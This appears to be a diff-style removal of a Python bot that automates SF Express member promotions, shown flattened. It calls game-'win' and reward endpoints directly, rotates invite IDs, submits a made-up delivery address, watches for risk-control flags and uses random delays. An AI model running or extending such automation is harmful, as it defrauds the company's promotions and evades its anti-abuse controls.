- if gameNum < 0: break - print(f'>>开始第{i}次大冒险') - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeGameService~gameReport' - response = self.do_request(url, data=json_data) - # print(response) - stu = response.get('success') - if stu: - gameNum = response.get('obj')['gameNum'] - print(f'>大冒险成功!剩余次数【{gameNum}】') - time.sleep(2) - gameNum -= 1 - elif response.get("errorMessage") == '容量不足': - print(f'> 需要扩容') - self.honey_expand() - else: - print(f'>大冒险失败!【{response.get("errorMessage")}】') - break - - def honey_expand(self): - print('>>>容器扩容') - # 大冒险 - gameNum = 5 - - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~expand' - response = self.do_request(url, data={}) - # print(response) - stu = response.get('success', False) - if stu: - obj = response.get('obj') - print(f'>成功扩容【{obj}】容量') - else: - print(f'>扩容失败!【{response.get("errorMessage")}】') - - def honey_indexData(self, END=False): - if not END: print('\n🍯 开始执行采蜜换大礼任务') - # 邀请 - random_invite = random.choice([invite for invite in inviteId if invite != self.user_id]) - self.headers['channel'] = 'wxwdsj' - json_data = {"inviteUserId": random_invite} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~indexData' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - usableHoney = response.get('obj').get('usableHoney') - if END: - Log(f'🍯 当前丰蜜:【{usableHoney}】') - return - Log(f'🍯 执行前丰蜜:【{usableHoney}】') - taskDetail = response.get('obj').get('taskDetail') - activityEndTime = response.get('obj').get('activityEndTime', '') - activity_end_time = datetime.strptime(activityEndTime, "%Y-%m-%d %H:%M:%S") - current_time = datetime.now() - - if current_time.date() == activity_end_time.date(): - Log("⚠️ 本期活动今日结束,请及时兑换") - else: - print(f'📅 本期活动结束时间【{activityEndTime}】') - - if taskDetail != []: - for task in taskDetail: - self.taskType = task['type'] - self.receive_honeyTask() - time.sleep(2) - - def EAR_END_2023_TaskList(self): - print('\n🎭 开始年终集卡任务') - # 任务列表 - json_data = { - "activityCode": "YEAREND_2024", - "channelType": "MINI_PROGRAM" - } - self.headers['channel'] = '24nzdb' - self.headers['platform'] = 'MINI_PROGRAM' - self.headers['syscode'] = 'MCS-MIMP-CORE' - - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' - - response = self.do_request(url, data=json_data) - if response.get('success') == True: - for item in response["obj"]: - self.title = item["taskName"] - self.taskType = item["taskType"] - status = item["status"] - if status == 3: - print(f'✨ 【{self.taskType}】-已完成') - continue - if self.taskType == 'INTEGRAL_EXCHANGE': - self.EAR_END_2023_ExchangeCard() - elif self.taskType == 'CLICK_MY_SETTING': - self.taskCode = item["taskCode"] - self.addDeliverPrefer() - if "taskCode" in item: - self.taskCode = item["taskCode"] - self.doTask() - time.sleep(3) - self.EAR_END_2023_receiveTask() - else: - print(f'⚠️ 暂时不支持【{self.title}】任务') - - def addDeliverPrefer(self): - print(f'>>>开始【{self.title}】任务') - json_data = { - "country": "中国", - "countryCode": "A000086000", - "province": "北京市", - "provinceCode": "A110000000", - "city": "北京市", - "cityCode": "A111000000", - "county": "东城区", - "countyCode": "A110101000", - "address": "1号楼1单元101", - "latitude": "", - "longitude": "", - "memberId": "", - "locationCode": "010", - "zoneCode": "CN", - "postCode": "", - "takeWay": "7", - "callBeforeDelivery": 'false', - "deliverTag": "2,3,4,1", - "deliverTagContent": "", - "startDeliverTime": "", - "selectCollection": 'false', - "serviceName": "", - "serviceCode": "", - "serviceType": "", - "serviceAddress": "", - "serviceDistance": "", - "serviceTime": "", - "serviceTelephone": "", - "channelCode": "RW11111", - "taskId": self.taskId, - "extJson": "{\"noDeliverDetail\":[]}" - } - url = 'https://ucmp.sf-express.com/cx-wechat-member/member/deliveryPreference/addDeliverPrefer' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - print('新增一个收件偏好,成功') - else: - print(f'>【{self.title}】任务-{response.get("errorMessage")}') - - def EAR_END_2023_ExchangeCard(self): - print(f'>>>开始积分兑换年卡') - json_data = { - "exchangeNum": 2, - "activityCode": "YEAREND_2024", - "channelType": "MINI_PROGRAM" - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2024TaskService~integralExchange' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - receivedAccountList = response['obj']['receivedAccountList'] - for card in receivedAccountList: - print(f'>获得:【{card["urrency"]}】卡【{card["amount"]}】张!') - else: - print(f'>【{self.title}】任务-{response.get("errorMessage")}') - - def EAR_END_2023_receiveTask(self): - print(f'>>>开始领取【{self.title}】任务奖励') - json_data = { - "taskType": self.taskType, - "activityCode": "YEAREND_2024", - "channelType": "MINI_PROGRAM" - } - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2024TaskService~fetchMixTaskReward' - response = self.do_request(url, data=json_data) - if response.get('success') == True: - print(f'>【{self.title}】任务奖励领取成功!') - else: - print(f'>【{self.title}】任务-{response.get("errorMessage")}') - - def anniversary2024_weekly_gift_status(self): - print(f'\n>>>>>>>开始周年庆任务') - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024IndexService~weeklyGiftStatus' - response = self.do_request(url) - if response.get('success') == True: - weekly_gift_list = response.get('obj', {}).get('weeklyGiftList', []) - for weekly_gift in weekly_gift_list: - if not weekly_gift.get('received'): - receive_start_time = datetime.strptime(weekly_gift['receiveStartTime'], '%Y-%m-%d %H:%M:%S') - receive_end_time = datetime.strptime(weekly_gift['receiveEndTime'], '%Y-%m-%d %H:%M:%S') - current_time = datetime.now() - # print(current_time) - # print(receive_start_time) - # print(receive_end_time) - if receive_start_time <= current_time <= receive_end_time: - self.anniversary2024_receive_weekly_gift() - else: - error_message = response.get('errorMessage') or json.dumps(response) or '无返回' - print(f'查询每周领券失败: {error_message}') - if '系统繁忙' in error_message or '用户手机号校验未通过' in error_message: - self.anniversary_black = True - - def anniversary2024_receive_weekly_gift(self): - print(f'>>>开始领取每周领券') - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024IndexService~receiveWeeklyGift' - response = self.do_request(url) - if response.get('success'): - product_names = [product['productName'] for product in response.get('obj', [])] - print(f'每周领券: {product_names}') - else: - error_message = response.get('errorMessage') or json.dumps(response) or '无返回' - print(f'每周领券失败: {error_message}') - if '系统繁忙' in error_message or '用户手机号校验未通过' in error_message: - self.anniversary_black = True - - def anniversary2024_taskList(self): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' - data = { - 'activityCode': 'ANNIVERSARY_2024', - 'channelType': 'MINI_PROGRAM' - } - response = self.do_request(url, data) - if response and response.get('success'): - tasks = response.get('obj', []) - # 过滤出状态为1的任务并尝试接收奖励 - for task in filter(lambda x: x['status'] == 1, tasks): - if self.anniversary_black: - return - for _ in range(task['canReceiveTokenNum']): - self.anniversary2024_fetchMixTaskReward(task) - # 过滤出状态为2的任务并完成任务 - for task in filter(lambda x: x['status'] == 2, tasks): - if self.anniversary_black: - return - if task['taskType'] in ['PLAY_ACTIVITY_GAME', 'PLAY_HAPPY_ELIMINATION', 'PARTAKE_SUBJECT_GAME']: - pass - elif task['taskType'] == 'FOLLOW_SFZHUNONG_VEDIO_ID': - pass - elif task['taskType'] in ['BROWSE_VIP_CENTER', 'GUESS_GAME_TIP', 'CREATE_SFID', 'CLICK_MY_SETTING', - 'CLICK_TEMPLATE', 'REAL_NAME', 'SEND_SUCCESS_RECALL', 'OPEN_SVIP', - 'OPEN_FAST_CARD', 'FIRST_CHARGE_NEW_EXPRESS_CARD', 'CHARGE_NEW_EXPRESS_CARD', - 'INTEGRAL_EXCHANGE']: - pass - else: - for _ in range(task['restFinishTime']): - if self.anniversary_black: - break - self.anniversary2024_finishTask(task) - - def anniversary2024_finishTask(self, task): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask' - data = {'taskCode': task['taskCode']} - response = self.do_request(url, data) - if response and response.get('success'): - print('完成任务[%s]成功' % task['taskName']) - # 完成任务后获取任务奖励的逻辑 - self.anniversary2024_fetchMixTaskReward(task) - else: - print('完成任务[%s]失败: %s' % ( - task['taskName'], response.get('errorMessage') or (json.dumps(response) if response else '无返回'))) - - def anniversary2024_fetchMixTaskReward(self, task): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TaskService~fetchMixTaskReward' - data = { - 'taskType': task['taskType'], - 'activityCode': 'ANNIVERSARY_2024', - 'channelType': 'MINI_PROGRAM' - } - response = self.do_request(url, data) - if response and response.get('success'): - reward_info = response.get('obj', {}).get('account', {}) - received_list = [f"[{item['currency']}]X{item['amount']}" for item in - reward_info.get('receivedAccountList', [])] - turned_award = reward_info.get('turnedAward', {}) - if turned_award.get('productName'): - received_list.append(f"[优惠券]{turned_award['productName']}") - print('领取任务[%s]奖励: %s' % (task['taskName'], ', '.join(received_list))) - else: - error_message = response.get('errorMessage') or json.dumps(response) or '无返回' - print('领取任务[%s]奖励失败: %s' % (task['taskName'], error_message)) - if '用户手机号校验未通过' in error_message: - self.anniversary_black = True - - def anniversary2024_unbox(self): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~unbox' - response = self.do_request(url, {}) - if response and response.get('success'): - account_info = response.get('obj', {}).get('account', {}) - unbox_list = [f"[{item['currency']}]X{item['amount']}" for item in - account_info.get('receivedAccountList', [])] - print('拆盒子: %s' % ', '.join(unbox_list) or '空气') - else: - error_message = response.get('errorMessage') or json.dumps(response) or '无返回' - print('拆盒子失败: %s' % error_message) - if '用户手机号校验未通过' in error_message: - self.anniversary_black = True - - def anniversary2024_game_list(self): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GameParkService~list' - response = self.do_request(url, {}) - try: - if response['success']: - topic_pk_info = response['obj'].get('topicPKInfo', {}) - search_word_info = response['obj'].get('searchWordInfo', {}) - happy_elimination_info = response['obj'].get('happyEliminationInfo', {}) - - if not topic_pk_info.get('isPassFlag'): - print('开始话题PK赛') - # 这里调用话题PK赛列表相关函数 - self.anniversary2024_TopicPk_topicList() - - if not search_word_info.get('isPassFlag') or not search_word_info.get('isFinishDailyFlag'): - print('开始找字游戏') - for i in range(1, 11): - wait_time = random.randint(1000, 3000) / 1000.0 # 转换为秒 - time.sleep(wait_time) - if not self.anniversary2024_SearchWord_win(i): - break - - if not happy_elimination_info.get('isPassFlag') or not happy_elimination_info.get('isFinishDailyFlag'): - print('开始消消乐') - for i in range(1, 31): - wait_time = random.randint(2000, 4000) / 1000.0 # 转换为秒 - time.sleep(wait_time) - if not self.anniversary2024_HappyElimination_win(i): - break - else: - error_message = response['errorMessage'] or json.dumps(response) or '无返回' - print('查询游戏状态失败: ' + error_message) - if '用户手机号校验未通过' in error_message: - self.anniversary_black = True - except Exception as e: - print(str(e)) - - def anniversary2024_SearchWord_win(self, index): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024SearchWordService~win' - success = True - try: - data = {'index': index} - response = self.do_request(url, data) - if response and response.get('success'): - currency_list = response.get('obj', {}).get('currencyDTOList', []) - rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_list]) - print(f'找字游戏第{index}关通关成功: {rewards if rewards else "未获得奖励"}') - else: - error_message = response.get('errorMessage') or json.dumps(response) or '无返回' - print(f'找字游戏第{index}关失败: {error_message}') - if '系统繁忙' in error_message: - success = False - except Exception as e: - print(e) - finally: - return success - - def anniversary2024_HappyElimination_win(self, index): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024HappyEliminationService~win' - success = True - data = {'index': index} - response = self.do_request(url, data) - try: - if response and response.get('success'): - is_award = response['obj'].get('isAward') - currency_dto_list = response['obj'].get('currencyDTOList', []) - rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_dto_list]) - print(f'第{index}关通关: {rewards if rewards else "未获得奖励"}') - else: - error_message = response.get('errorMessage') or json.dumps(response) or '无返回' - print(f'第{index}关失败: {error_message}') - if '系统繁忙' in error_message: - success = False - except Exception as e: - print(e) - success = False - finally: - return success - - def anniversary2024_TopicPk_chooseSide(self, index): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~chooseSide' - success = True - data = {'index': index, 'choose': 0} # 选择某一边 - response = self.do_request(url, data) - try: - if response and response.get('success'): - currency_dto_list = response['obj'].get('currencyDTOList', []) - rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_dto_list]) - print(f'话题PK赛选择话题{index}成功: {rewards if rewards else "未获得奖励"}') - else: - error_message = response['errorMessage'] or json.dumps(response) or '无返回' - print(f'话题PK赛选择话题{index}失败: {error_message}') - if '系统繁忙' in error_message: - success = False - except Exception as e: - print(e) - success = False - finally: - return success - - def anniversary2024_TopicPk_topicList(self): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~topicList' - response = self.do_request(url, {}) - try: - if response and response.get('success'): - topics = response['obj'].get('topics', []) - for topic in topics: - if not topic.get('choose'): - index = topic.get('index', 1) - wait_time = random.randint(2000, 4000) / 1000.0 # 转换为秒 - time.sleep(wait_time) # 等待 - if not self.anniversary2024_TopicPk_chooseSide(index): - break - else: - error_message = response['errorMessage'] or json.dumps(response) or '无返回' - print(f'📝 查询话题PK赛记录失败: {error_message}') - except Exception as e: - print(e) - - def anniversary2024_queryAccountStatus_refresh(self): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~queryAccountStatus' - response = self.do_request(url, {}) - try: - if not response or not response.get('success'): - error_message = response['errorMessage'] or json.dumps(response) or '无返回' - print(f'📝 查询账户状态失败: {error_message}') - except Exception as e: - print(e) - - def anniversary2024_TopicPk_chooseSide(self, index): - success = True - data = { - 'index': index, - 'choose': 0 - } - self.headers['channel'] = '31annizyw' - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~chooseSide' - result = self.do_request(url, data, 'post') - - if result and result.get('success'): - currency_dto_list = result.get('obj', {}).get('currencyDTOList', []) - if currency_dto_list: - rewards = [f"[{currency['currency']}]{currency['amount']}次" for currency in currency_dto_list] - print(f'🎭 话题PK赛第{index}个话题选择成功: {", ".join(rewards)}') - else: - print(f'🎭 话题PK赛第{index}个话题选择成功') - else: - error_message = result.get('errorMessage') if result else '无返回' - print(f'📝 话题PK赛第{index}个话题失败: {error_message}') - if error_message and '系统繁忙' in error_message: - success = False - - return success - - def anniversary2024_titleList(self): - return - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~titleList' - response = self.do_request(url) - - if response and response.get('success'): - - guess_title_info_list = response.get('obj', {}).get('guessTitleInfoList', []) - today_titles = [title for title in guess_title_info_list if title['gameDate'] == self.today] - for title_info in today_titles: - if title_info['answerStatus']: - print('📝 今日已回答过竞猜') - else: - answer = self.answer - if answer: - self.anniversary2024_answer(title_info, answer) - print(f'📝 进行了答题: {answer}') - else: - error_message = response.get('errorMessage') if response else '无返回' - print(f'📝 查询每日口令竞猜失败: {error_message}') - - def anniversary2024_titleList_award(self): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~titleList' - response = self.do_request(url) - - if response and response.get('success'): - - guess_title_info_list = response.get('obj', {}).get('guessTitleInfoList', []) - today_awards = [title for title in guess_title_info_list if title['gameDate'] == self.today] - - for award_info in today_awards: - if award_info['answerStatus']: - awards = award_info.get('awardList', []) + award_info.get('puzzleList', []) - awards_description = ', '.join([f"{award['productName']}" for award in awards]) - print(f'🎁 口令竞猜奖励: {awards_description}' if awards_description else '📝 今日无奖励') - else: - print('📝 今日还没回答竞猜') - else: - error_message = response.get('errorMessage') if response else '无返回' - print(f'📝 查询每日口令竞猜奖励失败: {error_message}') - - # 向API发送答题请求 - def anniversary2024_answer(self, answer_info): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~answer' - data = {'period': answer_info['period'], 'answerInfo': answer_info} - response = self.do_request(url, data) - if response and response.get('success'): - print('📝 口令竞猜回答成功') - self.anniversary2024_titleList_award() # 通过奖励接口验证答案 - else: - error_message = response.get('errorMessage') if response else '无返回' - print(f'📝 口令竞猜回答失败: {error_message}') - - # 查询账户状态 - def anniversary2024_queryAccountStatus(self): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~queryAccountStatus' - result = self.do_request(url) - if result.get('success'): - account_currency_list = result.get('obj', {}).get('accountCurrencyList', []) - unbox_chance_currency = [currency for currency in account_currency_list if - currency.get('currency') == 'UNBOX_CHANCE'] - unbox_chance_balance = unbox_chance_currency[0].get('balance') if unbox_chance_currency else 0 - - # print('可以拆' + str(unbox_chance_balance) + '次盒子') - # while unbox_chance_balance > 0: - # self.anniversary2024_unbox() - # unbox_chance_balance -= 1 - else: - error_message = result.get('errorMessage') or json.dumps(result) or '无返回' - print('📝 查询已收集拼图失败: ' + error_message) - - result = self.do_request(url) - if result.get('success'): - account_currency_list = result.get('obj', {}).get('accountCurrencyList', []) - account_currency_list = [currency for currency in account_currency_list if - currency.get('currency') != 'UNBOX_CHANCE'] - if account_currency_list: - cards_li = account_currency_list - card_info = [] - self.cards = { - 'CARD_1': 0, - 'CARD_2': 0, - 'CARD_3': 0, - 'CARD_4': 0, - 'CARD_5': 0, - 'CARD_6': 0, - 'CARD_7': 0, - 'CARD_8': 0, - 'CARD_9': 0, - 'COMMON_CARD': 0 - } - for card in cards_li: - currency_key = card.get('currency') - if currency_key in self.cards: - self.cards[currency_key] = int(card.get('balance')) - card_info.append('[' + card.get('currency') + ']X' + str(card.get('balance'))) - - Log(f'📝 已收集拼图: {card_info}') - cards_li.sort(key=lambda x: x.get('balance'), reverse=True) - - else: - print('📝 还没有收集到拼图') - else: - error_message = result.get('errorMessage') or json.dumps(result) or '无返回' - print('📝 查询已收集拼图失败: ' + error_message) - - def do_draw(self, cards): - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~collectDrawAward' - data = {"accountList": cards} - response = self.do_request(url, data) - if response and response.get('success'): - data = response.get('obj', {}) - productName = data.get('productName', '') - Log(f'🎁 抽奖成功,获得{productName}') - return True - else: - error_message = response.get('errorMessage') if response else '无返回' - print(f'📝 抽奖失败: {error_message}') - return False - - def convert_common_card(self, cards, target_card): - # 如果共通卡(COMMON_CARD)的数量大于0,转化成目标卡 - if cards['COMMON_CARD'] > 0: - cards['COMMON_CARD'] -= 1 - cards[target_card] += 1 - return True - return False - - def can_draw(self, cards, n): - # 判断是否有足够的不同卡进行抽奖 - distinct_cards = sum(1 for card, amount in cards.items() if card != 'COMMON_CARD' and amount > 0) - return distinct_cards >= n - - def draw(self, cards, n): - drawn_cards = [] - for card, amount in sorted(cards.items(), key=lambda item: item[1]): - if card != 'COMMON_CARD' and amount > 0: - cards[card] -= 1 - drawn_cards.append(card) - if len(drawn_cards) == n: - break - if len(drawn_cards) == n: - "📝 没有足够的卡进行抽奖" - if self.do_draw(drawn_cards): - return drawn_cards # 返回本次抽奖使用的卡 - else: - return None - - def simulate_lottery(self, cards): - while self.can_draw(cards, 9): - used_cards = self.draw(cards, 9) - print("🎁 进行了一次9卡抽奖,消耗卡片: ", used_cards) - while self.can_draw(cards, 7) or self.convert_common_card(cards, 'CARD_1'): - if not self.can_draw(cards, 7): - continue - used_cards = self.draw(cards, 7) - print("🎁 进行了一次7卡抽奖,消耗卡片: ", used_cards) - while self.can_draw(cards, 5) or self.convert_common_card(cards, 'CARD_1'): - if not self.can_draw(cards, 5): - continue - used_cards = self.draw(cards, 5) - print("🎁 进行了一次5卡抽奖,消耗卡片: ", used_cards) - while self.can_draw(cards, 3) or self.convert_common_card(cards, 'CARD_1'): - if not self.can_draw(cards, 3): - continue - used_cards = self.draw(cards, 3) - print("🎁 进行了一次3卡抽奖,消耗卡片: ", used_cards) - - def anniversary2024_task(self): - self.anniversary2024_weekly_gift_status() - if self.anniversary_black: - return - # self.anniversary2024_titleList() - # self.anniversary2024_game_list() - # self.anniversary2024_taskList() - self.anniversary2024_queryAccountStatus() - target_time = datetime(2025, 4, 3, 14, 0) - # self.simulate_lottery(self.cards) - if datetime.now() > target_time: - print('📅 周年庆活动即将结束,开始自动抽奖') - self.simulate_lottery(self.cards) - else: - print('📅 未到自动抽奖时间') - - def member_day_index(self): - print('🎭 会员日活动') - try: - invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) - payload = {'inviteUserId': invite_user_id} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~index' - - response = self.do_request(url, data=payload) - if response.get('success'): - lottery_num = response.get('obj', {}).get('lotteryNum', 0) - can_receive_invite_award = response.get('obj', {}).get('canReceiveInviteAward', False) - if can_receive_invite_award: - self.member_day_receive_invite_award(invite_user_id) - self.member_day_red_packet_status() - Log(f'🎁 会员日可以抽奖{lottery_num}次') - for _ in range(lottery_num): - self.member_day_lottery() - if self.member_day_black: - return - self.member_day_task_list() - if self.member_day_black: - return - self.member_day_red_packet_status() - else: - error_message = response.get('errorMessage', '无返回') - Log(f'📝 查询会员日失败: {error_message}') - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_receive_invite_award(self, invite_user_id): - try: - payload = {'inviteUserId': invite_user_id} - - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~receiveInviteAward' - - response = self.do_request(url, payload) - if response.get('success'): - product_name = response.get('obj', {}).get('productName', '空气') - Log(f'🎁 会员日奖励: {product_name}') - else: - error_message = response.get('errorMessage', '无返回') - Log(f'📝 领取会员日奖励失败: {error_message}') - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_lottery(self): - try: - payload = {} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayLotteryService~lottery' - - response = self.do_request(url, payload) - if response.get('success'): - product_name = response.get('obj', {}).get('productName', '空气') - Log(f'🎁 会员日抽奖: {product_name}') - else: - error_message = response.get('errorMessage', '无返回') - Log(f'📝 会员日抽奖失败: {error_message}') - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_task_list(self): - try: - payload = {'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' - - response = self.do_request(url, payload) - if response.get('success'): - task_list = response.get('obj', []) - for task in task_list: - if task['status'] == 1: - if self.member_day_black: - return - self.member_day_fetch_mix_task_reward(task) - for task in task_list: - if task['status'] == 2: - if self.member_day_black: - return - if task['taskType'] in ['SEND_SUCCESS', 'INVITEFRIENDS_PARTAKE_ACTIVITY', 'OPEN_SVIP', - 'OPEN_NEW_EXPRESS_CARD', 'OPEN_FAMILY_CARD', 'CHARGE_NEW_EXPRESS_CARD', - 'INTEGRAL_EXCHANGE']: - pass - else: - for _ in range(task['restFinishTime']): - if self.member_day_black: - return - self.member_day_finish_task(task) - else: - error_message = response.get('errorMessage', '无返回') - Log('📝 查询会员日任务失败: ' + error_message) - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_finish_task(self, task): - try: - payload = {'taskCode': task['taskCode']} - - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' - - response = self.do_request(url, payload) - if response.get('success'): - Log('📝 完成会员日任务[' + task['taskName'] + ']成功') - self.member_day_fetch_mix_task_reward(task) - else: - error_message = response.get('errorMessage', '无返回') - Log('📝 完成会员日任务[' + task['taskName'] + ']失败: ' + error_message) - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_fetch_mix_task_reward(self, task): - try: - payload = {'taskType': task['taskType'], 'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'} - - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~fetchMixTaskReward' - - response = self.do_request(url, payload) - if response.get('success'): - Log('🎁 领取会员日任务[' + task['taskName'] + ']奖励成功') - else: - error_message = response.get('errorMessage', '无返回') - Log('📝 领取会员日任务[' + task['taskName'] + ']奖励失败: ' + error_message) - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_receive_red_packet(self, hour): - try: - payload = {'receiveHour': hour} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayTaskService~receiveRedPacket' - - response = self.do_request(url, payload) - if response.get('success'): - print(f'🎁 会员日领取{hour}点红包成功') - else: - error_message = response.get('errorMessage', '无返回') - print(f'📝 会员日领取{hour}点红包失败: {error_message}') - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_red_packet_status(self): - try: - payload = {} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketStatus' - response = self.do_request(url, payload) - if response.get('success'): - packet_list = response.get('obj', {}).get('packetList', []) - for packet in packet_list: - self.member_day_red_packet_map[packet['level']] = packet['count'] - - for level in range(1, self.max_level): - count = self.member_day_red_packet_map.get(level, 0) - while count >= 2: - self.member_day_red_packet_merge(level) - count -= 2 - packet_summary = [] - remaining_needed = 0 - - for level, count in self.member_day_red_packet_map.items(): - if count == 0: - continue - packet_summary.append(f"[{level}级]X{count}") - int_level = int(level) - if int_level < self.max_level: - remaining_needed += 1 << (int_level - 1) - - Log("📝 会员日合成列表: " + ", ".join(packet_summary)) - - if self.member_day_red_packet_map.get(self.max_level): - Log(f"🎁 会员日已拥有[{self.max_level}级]红包X{self.member_day_red_packet_map[self.max_level]}") - self.member_day_red_packet_draw(self.max_level) - else: - remaining = self.packet_threshold - remaining_needed - Log(f"📝 会员日距离[{self.max_level}级]红包还差: [1级]红包X{remaining}") - - else: - error_message = response.get('errorMessage', '无返回') - Log(f'📝 查询会员日合成失败: {error_message}') - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_red_packet_merge(self, level): - try: - # for key,level in enumerate(self.member_day_red_packet_map): - # pass - payload = {'level': level, 'num': 2} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketMerge' - - response = self.do_request(url, payload) - if response.get('success'): - Log(f'🎁 会员日合成: [{level}级]红包X2 -> [{level + 1}级]红包') - self.member_day_red_packet_map[level] -= 2 - if not self.member_day_red_packet_map.get(level + 1): - self.member_day_red_packet_map[level + 1] = 0 - self.member_day_red_packet_map[level + 1] += 1 - else: - error_message = response.get('errorMessage', '无返回') - Log(f'📝 会员日合成两个[{level}级]红包失败: {error_message}') - if '没有资格参与活动' in error_message: - self.member_day_black = True - Log('📝 会员日任务风控') - except Exception as e: - print(e) - - def member_day_red_packet_draw(self, level): - try: - payload = {'level': str(level)} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketDraw' - response = self.do_request(url, payload) - if response and response.get('success'): - coupon_names = [item['couponName'] for item in response.get('obj', [])] or [] - - Log(f"🎁 会员日提取[{level}级]红包: {', '.join(coupon_names) or '空气'}") - else: - error_message = response.get('errorMessage') if response else "无返回" - Log(f"📝 会员日提取[{level}级]红包失败: {error_message}") - if "没有资格参与活动" in error_message: - self.memberDay_black = True - print("📝 会员日任务风控") - except Exception as e: - print(e) - - def DRAGONBOAT_2024_index(self): - print('📝 查询财神活动状态') - invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) - try: - self.headers['channel'] = '24nzdb' - self.headers[ - 'referer'] = f'https://mcs-mimp-web.sf-express.com/origin/a/mimp-activity/yearEnd2024?mobile={self.mobile}&userId={self.user_id}&path=/origin/a/mimp-activity/yearEnd2024&supportShare=&inviteUserId={invite_user_id}&from=newExpressWX' - payload = {} - url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~yearEnd2024IndexService~index' - - response = self.do_request(url, payload) - # print(response) - if response.get('success'): - obj = response.get('obj', [{}]) - acEndTime = obj.get('acEndTime', '') - # 获取当前时间并格式化 - current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - comparison_time = datetime.strptime(acEndTime, "%Y-%m-%d %H:%M:%S") - # 比较当前时间是否小于比较时间 - is_less_than = datetime.now() < comparison_time - if is_less_than: - print('📝 推财神进行中....') - return True - else: - print('📝 推财神活动已结束') - return False - else: - error_message = response.get('errorMessage', '无返回') - if '没有资格参与活动' in error_message: - self.DRAGONBOAT_2024_black = True - Log('📝 会员日任务风控') - return False - except Exception as e: - print(e) - return 